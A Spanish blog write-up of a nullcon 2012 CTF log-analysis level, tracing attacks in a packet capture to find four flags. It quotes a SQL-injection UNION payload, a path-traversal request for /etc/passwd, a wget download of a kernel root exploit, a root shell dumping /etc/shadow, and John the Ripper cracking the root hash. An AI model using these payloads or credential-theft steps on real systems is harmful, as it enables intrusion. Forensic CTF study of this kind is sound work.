CTF #nullcon 2012: Análisis de logs 5


nullcon1.jpg

En el quinto y último nivel de esta categoría de análisis de logs, nos encontramos con un fichero (http://www.nullcon.net//challenge/data/dump.rar) PcapNg (una vez descomprimido). Uno de los problemas con los que me encontré era que el fichero es un poco grande y después de filtrar varias veces, Wireshark se comía la máquina y tenía que cerrar dicha aplicación y volverla a abrir ¿fuga de memoria en Wireshark? Supongo que la próxima vez debería de aprender a usar los filtros con tshark :)

En este nivel se nos piden 4 flags:

  • Flag-I: Vulnerable Parameter in 1st Attack
  • Flag-II: Vulnerable Parameter in 2nd Attack
  • Flag-III: Names of the people who discovered the Local Privilege Escalation Exploit used
  • Flag-IV: root Password

Para mi la pregunta más obvia para empezar era la última, ya que podría correr un búsqueda de la palabra root para llegar a dicha respuesta. Y la suerte que tuve fue que haciendo esa búsqueda también me llevó al resto de los respuestas que buscaba.

El primer flujo TCP que encontramos con inyección de código y por lo tanto contesta a nuestra primera pregunta es:

GET /index.html?page=blog&title=Blog&id=2+AND+1=2+UNION+ALL+SELECT+1,unhex(hex(user())),3,4,5--+- HTTP/1.1
Host: 192.168.221.143
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
....
....

Por lo tanto nuestro primer flag: id

El segundo ataque encontrado fue:

GET /index.html?page=../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: 192.168.221.143
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
....
....

Nuestro flag en este caso: page

Siguiendo nuestra búsqueda de todo lo que contenga root, vemos claramente código C, en cuyos comentarios vemos que es un exploit de escalada de privilegios, dónde además nos dan los nombres de los descubridores, el cual es la respuesta a nuestro tercer flag: Tavis Ormandy Julien Tinnes

Aquí un extracto del texto de la captura

GET /exploit/9479.c HTTP/1.0
User-Agent: Wget/1.10.2 (Red Hat modified)
Accept: */*
Host: 192.168.221.130
Connection: Keep-Alive

HTTP/1.1 200 OK Date: Thu, 12 Jan 2012 06:18:26 GMT Server: Apache/2.2.14 (Ubuntu) Last-Modified: Wed, 11 Jan 2012 12:36:23 GMT ETag: “41d4c-d33-4b63fe12b3b1c” Accept-Ranges: bytes Content-Length: 3379 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/x-csrc

/* ** ** 0x82-CVE-2009-2692 ** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver) ** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x. ** ** – ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. ** spender and venglin’s code is very excellent. ** Thankful to them. ** ** Greets: Brad Spengler <spender(at)grsecurity(dot)net>, ** Przemyslaw Frasunek <venglin(at)czuby(dot)pl>. ** – ** exploit by <p0c73n1(at)gmail(dot)com>. ** ** “Slow and dirty exploit for this one” ** / …. ….

Por último se nos pide el password de root y siguiendo con nuestra búsqueda llegamos al listado del fichero shadow:

sh-3.1# cat /etc/shadow
root:$1$IW2CPQzs$ba/aJ9zePc/r9tF2R6KAJ0:15350:0:99999:7:::
bin::14309:0:99999:7:::
daemon::14309:0:99999:7:::
adm::14309:0:99999:7:::
….
….

Aquí de lo que disponemos es del hash, pero no del password en claro, así que llamemos a Juanito.

Lo que hice fue copiar sólo la línea del root a un fichero de texto y:

tuxotron@tuxotron-laptop:~/opt/john-1.7.9-jumbo-5/run$ ./john ppass
Loaded 1 password hash (FreeBSD MD5 [32/64 X2])
guesses: 0 time: 0:21:00:27 0.00% (3) c/s: 10906 trying: fuisbAT - fuisbAX
Session aborted

Después de 21 horas corriendo no había encontrado nada, así que decidí usar un diccionario de passwords, concretamente el primero de esta lista.

tuxotron@tuxotron-laptop:~/opt/john-1.7.9-jumbo-5/run$ ./john –wordlist=/home/tuxotron/Downloads/Collection\ of\ Wordlist\ v.2-clean.lst ppass
Loaded 1 password hash (FreeBSD MD5 [32/64 X2])
zuzana           (root)
guesses: 1  time: 0:00:05:52 DONE (Sat Jan 28 18:33:46 2012)  c/s: 11086  trying: zum - zuzana
Use the “–show” option to display all of the cracked passwords reliably

Y en cinco minutos conseguía el cuarto y último flag: zuzana